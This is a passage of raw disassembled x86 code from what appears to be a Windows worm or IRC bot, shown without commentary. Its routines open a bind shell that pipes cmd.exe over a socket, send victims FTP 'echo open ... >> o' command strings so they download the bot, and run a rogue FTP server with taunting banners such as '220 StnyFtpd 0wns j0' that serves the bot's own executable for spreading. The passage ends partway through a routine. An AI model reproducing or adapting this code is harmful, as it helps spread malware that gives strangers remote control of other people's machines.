loc_40EF69 ; --------------------------------------------------------------------------- loc_40EF66: ; CODE XREF: sub_40EA40+48Ej mov esi, dword ptr [ebp+var_C] loc_40EF69: ; CODE XREF: sub_40EA40+460j ; sub_40EA40+524j push dword ptr [ebp+var_C+4] mov edi, dword_428070 call edi ; CloseHandle push esi call sub_41B721 cmp [ebp+var_50], ebx pop ecx jz short loc_40EF85 push [ebp+var_50] call edi ; CloseHandle loc_40EF85: ; CODE XREF: sub_40EA40+53Ej xor eax, eax cmp byte ptr [ebp+arg_BC+3], bl setnz al loc_40EF90: ; CODE XREF: sub_40EA40+B4j pop edi pop esi pop ebx leave retn sub_40EA40 endp ; --------------------------------------------------------------------------- push esi push edi push 0 lea esi, [esp+10h] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40EA40 add esp, 0C0h test eax, eax jz short loc_40EFBE xor eax, eax inc eax jmp short loc_40EFE2 ; --------------------------------------------------------------------------- loc_40EFBE: ; CODE XREF: .XPack0:0040EFB7j push 1 lea esi, [esp+10h] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40EA40 add esp, 0C0h neg eax sbb eax, eax neg eax loc_40EFE2: ; CODE XREF: .XPack0:0040EFBCj pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EFE5 proc near ; CODE XREF: sub_40F0D3+91p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41BC00 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_428208 ; inet_addr push [ebp+arg_BC] mov [ebp+var_C], eax call dword_42820C ; ntohs push esi push 1 push 2 mov [ebp+var_E], ax call dword_42821C ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40F0B3 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_428210 ; connect cmp eax, 0FFFFFFFFh jz short loc_40F0B3 mov edi, 400h push esi mov esi, dword_428214 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_42AA54 push eax push eax push dword_4CE048 push [ebp+arg_0] call sub_40A8D5 pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41BFF0 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41B650 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_428220 ; send cmp eax, 0FFFFFFFFh jnz short loc_40F0B7 loc_40F0B3: ; CODE XREF: sub_40EFE5+50j ; sub_40EFE5+62j xor eax, eax jmp short loc_40F0CE ; --------------------------------------------------------------------------- loc_40F0B7: ; CODE XREF: sub_40EFE5+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call dword_428218 ; closesocket xor eax, eax inc eax loc_40F0CE: ; CODE XREF: sub_40EFE5+D0j pop edi pop esi pop ebx leave retn sub_40EFE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F0D3 proc near ; CODE XREF: sub_40C271+1D7p ; DATA XREF: .XPack0:off_43405Co var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4CE348 ; inet_addr push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4CE308 ; ntohs push 6 push 1 push 2 mov [ebp+var_E], ax call dword_42821C ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40F145 lea eax, [ebp+var_10] push 10h push eax push esi call dword_428210 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40F126 push esi jmp short loc_40F13F ; --------------------------------------------------------------------------- loc_40F126: ; CODE XREF: sub_40F0D3+4Ej push 0 push 1213h push offset dword_435988 push esi call dword_428220 ; send cmp eax, 0FFFFFFFFh push esi jnz short loc_40F149 loc_40F13F: ; CODE XREF: sub_40F0D3+51j call dword_428218 ; closesocket loc_40F145: ; CODE XREF: sub_40F0D3+3Cj xor eax, eax jmp short loc_40F187 ; --------------------------------------------------------------------------- loc_40F149: ; CODE XREF: sub_40F0D3+6Aj call dword_428218 ; closesocket push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40EFE5 add esp, 0C0h test eax, eax jz short loc_40F184 mov eax, [ebp+arg_A8] shl eax, 6 lea eax, dword_434060[eax] inc dword ptr [eax] loc_40F184: ; CODE XREF: sub_40F0D3+9Ej xor eax, eax inc eax loc_40F187: ; CODE XREF: sub_40F0D3+74j pop edi pop esi leave retn sub_40F0D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40F18B proc near ; DATA XREF: sub_40F219+15Bo var_404 = byte ptr -404h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 404h loc_40F194: ; CODE XREF: sub_40F18B+25j ; sub_40F18B+41j push 0 lea eax, [ebp+var_404] push 400h push eax push dword_4D1030 call dword_4CE320 ; recv test eax, eax jle short loc_40F194 lea ecx, [ebp+var_4] push 0 push ecx push eax lea eax, [ebp+var_404] push eax push dword_4D102C call dword_4280F0 ; WriteFile jmp short loc_40F194 sub_40F18B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40F1CE proc near ; DATA XREF: sub_40F219+142o var_404 = byte ptr -404h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 404h loc_40F1D7: ; CODE XREF: sub_40F1CE+2Fj ; sub_40F1CE+49j lea eax, [ebp+var_4] and [ebp+var_4], 0 push 0 push eax lea eax, [ebp+var_404] push 400h push eax push dword_4D1020 call dword_4280EC ; ReadFile cmp [ebp+var_4], 0 jle short loc_40F1D7 push 0 lea eax, [ebp+var_404] push [ebp+var_4] push eax push dword_4D1030 call dword_4CE358 ; send jmp short loc_40F1D7 sub_40F1CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40F219 proc near ; DATA XREF: sub_401AA1+2CBFo var_11C = byte ptr -11Ch var_98 = dword ptr -98h var_7C = dword ptr -7Ch var_50 = dword ptr -50h var_4C = word ptr -4Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_38 = word ptr -38h var_36 = word ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 28h mov esi, eax pop ecx lea edi, [ebp+var_11C] rep movsd xor esi, esi xor edi, edi inc esi push 10h mov [eax+98h], esi lea eax, [ebp+var_38] push edi push eax call sub_41BC00 add esp, 0Ch mov [ebp+var_38], 2 push [ebp+var_98] call dword_4CE308 ; ntohs push 6 push esi push 2 mov [ebp+var_36], ax call dword_4CE388 ; socket mov [ebp+arg_0], eax lea eax, [ebp+var_38] push 10h push eax push [ebp+arg_0] call dword_4CE334 ; bind push 5 push [ebp+arg_0] call dword_4CE330 ; listen mov ebx, dword_42810C mov esi, dword_428070 loc_40F299: ; CODE XREF: sub_40F219+1CBj push edi push edi push [ebp+arg_0] call dword_4CE39C ; accept mov dword_4D1030, eax lea eax, [ebp+var_C] push edi push eax push offset dword_4D102C push offset dword_4D1028 mov [ebp+var_C], 0Ch mov [ebp+var_4], 1 mov [ebp+var_8], edi call ebx ; CreatePipe lea eax, [ebp+var_C] push edi push eax push offset dword_4D1024 push offset dword_4D1020 call ebx ; CreatePipe push 44h lea eax, [ebp+var_7C] push edi push eax call sub_41BC00 mov eax, dword_4D1028 add esp, 0Ch mov [ebp+var_44], eax mov eax, dword_4D1024 mov [ebp+var_40], eax push edi push 1 lea eax, [ebp+var_3C] push 2 push eax mov [ebp+var_7C], 44h mov [ebp+var_50], 101h mov [ebp+var_4C], di call dword_428108 ; GetCurrentProcess push eax push dword_4D1024 call dword_428108 ; GetCurrentProcess push eax call dword_428104 ; DuplicateHandle lea eax, [ebp+var_28] push eax lea eax, [ebp+var_7C] push eax push edi push edi push 4000090h lea eax, [ebp+var_C] push 1 push eax lea eax, [ebp+var_C] push eax push offset aCmd_exe ; "cmd.exe" push edi call dword_428074 ; CreateProcessA lea eax, [ebp+var_18] push eax push edi push edi push offset sub_40F1CE lea eax, [ebp+var_C] push edi push eax call dword_428084 ; CreateThread mov [ebp+var_14], eax lea eax, [ebp+var_18] push eax push edi push edi push offset sub_40F18B lea eax, [ebp+var_C] push edi push eax call dword_428084 ; CreateThread push 0FFFFFFFFh mov [ebp+var_10], eax push [ebp+var_28] call dword_4280A8 ; WaitForSingleObject push edi push [ebp+var_10] call dword_4280B4 ; TerminateThread push edi push [ebp+var_14] call dword_4280B4 ; TerminateThread push [ebp+var_10] call esi ; CloseHandle push [ebp+var_14] call esi ; CloseHandle push edi push [ebp+var_28] call dword_428100 ; TerminateProcess push dword_4D1028 call esi ; CloseHandle push dword_4D102C call esi ; CloseHandle push dword_4D1020 call esi ; CloseHandle push dword_4D1024 call esi ; CloseHandle push [ebp+var_24] call esi ; CloseHandle push [ebp+var_28] call esi ; CloseHandle jmp loc_40F299 sub_40F219 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40F3E9 proc near ; DATA XREF: .XPack0:0042A010o jmp $+5 sub_40F3E9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40F3EE proc near push 0FFFEh push 400h call sub_418D19 pop ecx mov dword_4D1034, eax pop ecx retn sub_40F3EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F405 proc near ; DATA XREF: sub_40BC0C+352o var_6C0 = byte ptr -6C0h var_2C0 = byte ptr -2C0h var_C0 = byte ptr -0C0h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 6C0h mov eax, [ebp+arg_0] push ebx push esi push edi push 27h mov esi, eax pop ecx lea edi, [ebp+var_B0] rep movsd xor esi, esi xor ebx, ebx inc esi push 10h mov [eax+98h], esi lea eax, [ebp+var_14] push ebx push eax call sub_41BC00 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_A4] call dword_4CE308 ; ntohs push ebx push esi push 2 mov [ebp+var_12], ax mov [ebp+var_10], ebx call dword_4CE388 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jnz short loc_40F4AC cmp [ebp+var_1C], ebx jnz short loc_40F48C push ebx lea eax, [ebp+var_2C0] push [ebp+var_20] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_B0] call sub_409743 add esp, 14h loc_40F48C: ; CODE XREF: sub_40F405+65j lea eax, [ebp+var_2C0] push eax call sub_415F45 push [ebp+var_AC] call sub_40B56A pop ecx pop ecx push ebx call dword_4280D4 ; ExitThread loc_40F4AC: ; CODE XREF: sub_40F405+60j mov eax, [ebp+var_AC] push 10h imul eax, 234h mov dword_441254[eax], edi lea eax, [ebp+var_14] push eax push edi call dword_4CE334 ; bind cmp eax, esi mov ebx, 400h jnz loc_40F5A7 call dword_4CE29C ; WSAGetLastError cmp eax, 2740h jz short loc_40F52C xor esi, esi cmp [ebp+var_1C], esi jnz short loc_40F50C push esi lea eax, [ebp+var_2C0] push [ebp+var_20] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_B0] call sub_409743 add esp, 14h loc_40F50C: ; CODE XREF: sub_40F405+E5j lea eax, [ebp+var_2C0] push eax call sub_415F45 push [ebp+var_AC] call sub_40B56A pop ecx pop ecx push esi call dword_4280D4 ; ExitThread loc_40F52C: ; CODE XREF: sub_40F405+DEj push 0FFFEh push ebx call sub_418D19 pop ecx mov dword_4D1034, eax pop ecx mov [ebp+var_12], ax lea eax, [ebp+var_14] push 10h push eax push edi call dword_4CE334 ; bind cmp eax, esi jnz short loc_40F5A7 call dword_4CE29C ; WSAGetLastError xor esi, esi cmp [ebp+var_1C], esi jnz short loc_40F587 cmp eax, 2740h jz short loc_40F587 push esi lea eax, [ebp+var_2C0] push [ebp+var_20] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_B0] call sub_409743 add esp, 14h loc_40F587: ; CODE XREF: sub_40F405+159j ; sub_40F405+160j lea eax, [ebp+var_2C0] push eax call sub_415F45 push [ebp+var_AC] call sub_40B56A pop ecx pop ecx push esi call dword_4280D4 ; ExitThread loc_40F5A7: ; CODE XREF: sub_40F405+CDj ; sub_40F405+14Cj push 5 push edi call dword_4CE330 ; listen cmp eax, esi jz loc_40F68C mov [ebp+var_4], 10h mov esi, offset byte_42AA54 loc_40F5C4: ; CODE XREF: sub_40F405+1D7j ; sub_40F405+227j ... lea eax, [ebp+var_4] push eax lea eax, [ebp+var_C0] push eax push edi call dword_4CE39C ; accept cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_40F5C4 cmp [ebp+var_1C], 0 jnz short loc_40F605 push 0 lea eax, [ebp+var_2C0] push [ebp+var_20] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_B0] call sub_409743 add esp, 14h loc_40F605: ; CODE XREF: sub_40F405+1DDj lea eax, [ebp+var_2C0] push eax call sub_415F45 pop ecx lea eax, [ebp+var_2C0] push 0 push 200h push eax push [ebp+arg_0] call dword_4CE320 ; recv cmp eax, 0FFFFFFFFh jz short loc_40F5C4 push esi push esi push dword_4CE048 push [ebp+var_B0] call sub_40A8D5 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d >> o&echo user 1 >>o &e"... lea eax, [ebp+var_6C0] push ebx push eax call sub_41BFF0 add esp, 1Ch lea eax, [ebp+var_6C0] push 0 push eax call sub_41B650 pop ecx push eax lea eax, [ebp+var_6C0] push eax push [ebp+arg_0] call dword_4CE358 ; send cmp eax, 0FFFFFFFFh jz loc_40F5C4 inc dword_4D1038 jmp loc_40F5C4 ; --------------------------------------------------------------------------- loc_40F68C: ; CODE XREF: sub_40F405+1ADj push edi call dword_4CE3A0 ; closesocket push [ebp+var_AC] call sub_40B56A pop ecx push 0 call dword_4280D4 ; ExitThread sub_40F405 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F6A7 proc near ; DATA XREF: sub_40BC0C+22Bo var_A70 = byte ptr -0A70h var_8E0 = byte ptr -8E0h var_6E0 = dword ptr -6E0h var_4C8 = byte ptr -4C8h var_448 = dword ptr -448h var_444 = dword ptr -444h var_43C = dword ptr -43Ch var_338 = byte ptr -338h var_2D4 = byte ptr -2D4h var_2A0 = byte ptr -2A0h var_23C = dword ptr -23Ch var_238 = dword ptr -238h var_234 = dword ptr -234h var_138 = byte ptr -138h var_128 = byte ptr -128h var_FC = byte ptr -0FCh var_C8 = byte ptr -0C8h var_B0 = byte ptr -0B0h var_4C = byte ptr -4Ch var_3C = word ptr -3Ch var_3A = word ptr -3Ah var_38 = dword ptr -38h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A70h mov eax, [ebp+arg_0] push ebx push esi push edi xor ebx, ebx mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_6E0] inc ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_A70] xor esi, esi push eax push 101h mov [ebp+var_28], ebx mov [ebp+var_20], ebx mov [ebp+var_18], ebx mov [ebp+var_23C], esi mov [ebp+var_43C], esi call dword_4281F0 ; WSAStartup push esi push ebx push 2 call dword_42821C ; socket mov esi, dword_4281F4 lea ecx, [ebp+var_28] push 4 push ecx mov edi, 0FFFFh push 4 push edi push eax mov [ebp+var_8], eax call esi ; setsockopt lea eax, [ebp+var_20] push 4 push eax push 0FFFFFFFBh push edi mov edi, [ebp+var_8] push edi call esi ; setsockopt lea eax, [ebp+var_18] push eax push 8004667Eh push edi call dword_4281F8 ; ioctlsocket mov ax, word ptr dword_4CE048 and [ebp+var_38], 0 push eax mov [ebp+var_3C], 2 call dword_4CE308 ; ntohs mov [ebp+var_3A], ax lea eax, [ebp+var_3C] push 10h push eax push edi call dword_4281FC ; bind test eax, eax jge short loc_40F76D mov eax, ebx jmp loc_40FCA0 ; --------------------------------------------------------------------------- loc_40F76D: ; CODE XREF: sub_40F6A7+BDj push 0Ah push edi call dword_428200 ; listen mov [ebp+var_23C], ebx mov ebx, dword_428220 mov [ebp+var_238], edi mov [ebp+var_4], edi loc_40F78B: ; CODE XREF: sub_40F6A7+11Bj ; sub_40F6A7+5F1j push 41h lea esi, [ebp+var_23C] pop ecx lea edi, [ebp+var_43C] rep movsd xor edi, edi lea eax, [ebp+var_43C] push edi push edi push edi push eax mov eax, [ebp+var_4] inc eax push eax call dword_428224 ; select cmp eax, 0FFFFFFFFh jz loc_40FC9D cmp [ebp+var_4], edi mov [ebp+arg_0], edi jl short loc_40F78B loc_40F7C4: ; CODE XREF: sub_40F6A7+5EBj xor esi, esi push 64h lea eax, [ebp+var_2A0] push esi push eax call sub_41BC00 push 64h lea eax, [ebp+var_B0] push esi push eax call sub_41BC00 add esp, 18h lea eax, [ebp+var_43C] push eax push edi call sub_426E00 ; __WSAFDIsSet test eax, eax jz loc_40FC8B cmp edi, [ebp+var_8] jnz short loc_40F86D lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_138] push eax push [ebp+var_8] call dword_428204 ; accept cmp eax, 0FFFFFFFFh jz loc_40FC8B mov edx, [ebp+var_23C] xor ecx, ecx cmp edx, esi jbe short loc_40F83F loc_40F831: ; CODE XREF: sub_40F6A7+196j cmp [ebp+ecx*4+var_238], eax jz short loc_40F83F inc ecx cmp ecx, edx jb short loc_40F831 loc_40F83F: ; CODE XREF: sub_40F6A7+188j ; sub_40F6A7+191j cmp ecx, edx jnz short loc_40F855 cmp edx, 40h jnb short loc_40F855 mov [ebp+ecx*4+var_238], eax inc [ebp+var_23C] loc_40F855: ; CODE XREF: sub_40F6A7+19Aj ; sub_40F6A7+19Fj cmp eax, [ebp+var_4] jle short loc_40F85D mov [ebp+var_4], eax loc_40F85D: ; CODE XREF: sub_40F6A7+1B1j push esi push 15h push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n" push eax call ebx ; send jmp loc_40FC8B ; --------------------------------------------------------------------------- loc_40F86D: ; CODE XREF: sub_40F6A7+158j push esi lea eax, [ebp+var_2A0] push 64h push eax push edi call dword_428214 ; recv test eax, eax jg short loc_40F8CA mov ecx, [ebp+var_23C] xor eax, eax cmp ecx, esi jbe short loc_40F8BE loc_40F88E: ; CODE XREF: sub_40F6A7+1F3j cmp [ebp+eax*4+var_238], edi jz short loc_40F8B3 inc eax cmp eax, ecx jb short loc_40F88E jmp short loc_40F8BE ; --------------------------------------------------------------------------- loc_40F89E: ; CODE XREF: sub_40F6A7+20Fj mov ecx, [ebp+eax*4+var_234] mov [ebp+eax*4+var_238], ecx mov ecx, [ebp+var_23C] inc eax loc_40F8B3: ; CODE XREF: sub_40F6A7+1EEj dec ecx cmp eax, ecx jb short loc_40F89E dec [ebp+var_23C] loc_40F8BE: ; CODE XREF: sub_40F6A7+1E5j ; sub_40F6A7+1F5j push edi call dword_428218 ; closesocket jmp loc_40FC8B ; --------------------------------------------------------------------------- loc_40F8CA: ; CODE XREF: sub_40F6A7+1D9j lea eax, [ebp+var_338] push eax lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2A0] push offset aSS_0 ; "%s %s" push eax call sub_41C973 lea eax, [ebp+var_B0] push offset aUser_0 ; "USER" push eax call sub_41C6E0 add esp, 18h test eax, eax jnz short loc_40F90E push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_40FC76 ; --------------------------------------------------------------------------- loc_40F90E: ; CODE XREF: sub_40F6A7+258j lea eax, [ebp+var_B0] push offset aPass_0 ; "PASS" push eax call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_40F932 push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_40FC76 ; --------------------------------------------------------------------------- loc_40F932: ; CODE XREF: sub_40F6A7+27Cj lea eax, [ebp+var_B0] push offset aSyst ; "SYST" push eax call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_40F956 push esi push 0Dh push offset a215Stnyftpd ; "215 StnyFtpd\n" jmp loc_40FC76 ; --------------------------------------------------------------------------- loc_40F956: ; CODE XREF: sub_40F6A7+2A0j lea eax, [ebp+var_B0] push offset aRest ; "REST" push eax call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_40F97A push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_40FC76 ; --------------------------------------------------------------------------- loc_40F97A: ; CODE XREF: sub_40F6A7+2C4j lea eax, [ebp+var_B0] push offset off_436E94 push eax call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_40F99E push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_40FC76 ; --------------------------------------------------------------------------- loc_40F99E: ; CODE XREF: sub_40F6A7+2E8j lea eax, [ebp+var_B0] push offset aType ; "TYPE" push eax call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_40F9D9 lea eax, [ebp+var_338] push offset aA_0 ; "A" push eax call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_40F9D9 push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_40FC76 ; --------------------------------------------------------------------------- loc_40F9D9: ; CODE XREF: sub_40F6A7+30Cj ; sub_40F6A7+323j lea eax, [ebp+var_B0] push offset aType ; "TYPE" push eax call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_40FA14 lea eax, [ebp+var_338] push offset aI_0 ; "I" push eax call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_40FA14 push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_40FC76 ; --------------------------------------------------------------------------- loc_40FA14: ; CODE XREF: sub_40F6A7+347j ; sub_40F6A7+35Ej lea eax, [ebp+var_B0] push offset aPasv ; "PASV" push eax call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_40FA62 push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp+var_128] rep movsd push eax lea eax, [ebp+var_128] push eax movsw call sub_41B650 pop ecx push eax lea eax, [ebp+var_128] loc_40FA52: ; CODE XREF: sub_40F6A7+3FAj push eax push [ebp+arg_0] call ebx ; send mov edi, [ebp+arg_0] xor esi, esi jmp loc_40FC79 ; --------------------------------------------------------------------------- loc_40FA62: ; CODE XREF: sub_40F6A7+382j lea eax, [ebp+var_B0] push offset aList_0 ; "LIST" push eax call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_40FAA3 push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C8] rep movsd movsw push eax lea eax, [ebp+var_C8] push eax movsb call sub_41B650 pop ecx push eax lea eax, [ebp+var_C8] jmp short loc_40FA52 ; --------------------------------------------------------------------------- loc_40FAA3: ; CODE XREF: sub_40F6A7+3D0j lea eax, [ebp+var_B0] push offset aPort ; "PORT" push eax call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_40FB74 lea eax, [ebp+var_2D4] push eax lea eax, [ebp+var_FC] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_2A0] push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_41C973 lea eax, [ebp+var_FC] push eax call sub_41BDE9 mov [ebp+var_C], eax lea eax, [ebp+var_2D4] push eax call sub_41BDE9 mov [ebp+arg_0], eax push 32h lea eax, [ebp+var_FC] push esi push eax call sub_41BC00 push [ebp+arg_0] lea eax, [ebp+var_FC] push [ebp+var_C] push offset aXX ; "%x%x\n" push eax call sub_41BEF6 add esp, 44h lea eax, [ebp+var_FC] push 10h push esi push eax call sub_41C435 mov [ebp+var_C], eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_4C] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_41BEF6 add esp, 24h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" jmp loc_40FC76 ; --------------------------------------------------------------------------- loc_40FB74: ; CODE XREF: sub_40F6A7+411j lea eax, [ebp+var_B0] push offset aRetr ; "RETR" push eax call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_40FC57 push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx ; send push [ebp+var_C] lea eax, [ebp+var_4C] push eax call sub_40FCA7 pop ecx cmp eax, 1 pop ecx jnz loc_40FC4D cmp [ebp+var_444], esi jnz short loc_40FBDC push esi lea eax, [ebp+var_8E0] push [ebp+var_448] push eax lea eax, [ebp+var_4C8] push eax push [ebp+var_6E0] call sub_409743 add esp, 14h loc_40FBDC: ; CODE XREF: sub_40F6A7+510j call sub_40FD24 cmp eax, 1 jnz loc_40FC79 push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push edi call ebx ; send lea eax, [ebp+var_4C] push eax lea eax, [ebp+var_8E0] push offset dword_436CD0 push eax call sub_41BEF6 add esp, 0Ch cmp [ebp+var_444], esi jnz short loc_40FC38 push esi lea eax, [ebp+var_8E0] push [ebp+var_448] push eax lea eax, [ebp+var_4C8] push eax push [ebp+var_6E0] call sub_409743 add esp, 14h loc_40FC38: ; CODE XREF: sub_40F6A7+56Cj lea eax, [ebp+var_8E0] push eax call sub_415F45 inc dword_4D0E04 pop ecx jmp short loc_40FC79 ; --------------------------------------------------------------------------- loc_40FC4D: ; CODE XREF: sub_40F6A7+504j push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_40FC76 ; --------------------------------------------------------------------------- loc_40FC57: ; CODE XREF: sub_40F6A7+4E2j lea eax, [ebp+var_B0] push offset aQuit ; "QUIT" push eax call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_40FC79 push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_40FC76: ; CODE XREF: sub_40F6A7+262j ; sub_40F6A7+286j ... push edi call ebx ; send loc_40FC79: ; CODE XREF: sub_40F6A7+3B6j ; sub_40F6A7+53Dj ... push 64h lea eax, [ebp+var_2A0] push esi push eax call sub_41BC00 add esp, 0Ch loc_40FC8B: ; CODE XREF: sub_40F6A7+14Fj ; sub_40F6A7+178j ... inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_40F7C4 jmp loc_40F78B ; --------------------------------------------------------------------------- loc_40FC9D: ; CODE XREF: sub_40F6A7+10Fj xor eax, eax inc eax loc_40FCA0: ; CODE XREF: sub_40F6A7+C1j pop edi pop esi pop ebx leave retn 4 sub_40F6A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FCA7 proc near ; CODE XREF: sub_40F6A7+4FAp var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call dword_4281F0 ; WSAStartup push 0 push 1 push 2 call dword_42821C ; socket push [ebp+arg_0] mov dword_4D103C, eax mov [ebp+var_10], 2 call dword_428208 ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call dword_42820C ; ntohs mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push dword_4D103C call dword_428210 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40FD1F push dword_4D103C call dword_428218 ; closesocket call dword_4281EC ; WSACleanup xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40FD1F: ; CODE XREF: sub_40FCA7+60j xor eax, eax inc eax leave retn sub_40FCA7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FD24 proc near ; CODE XREF: sub_40F6A7:loc_40FBDCp var_504 = byte ptr -504h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+var_104] push 104h push eax push 0 call dword_428078 ; GetModuleFileNameA lea eax, [ebp+var_104] push offset dword_42A068 push eax call sub_41BB32 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40FDBB test byte ptr [esi+0Ch], 10h jnz short loc_40FD9F push edi mov edi, 400h loc_40FD67: ; CODE XREF: sub_40FD24+78j push esi push 1 lea eax, [ebp+var_504] push edi push eax call sub_41B78A add esp, 10h lea eax, [ebp+var_504] 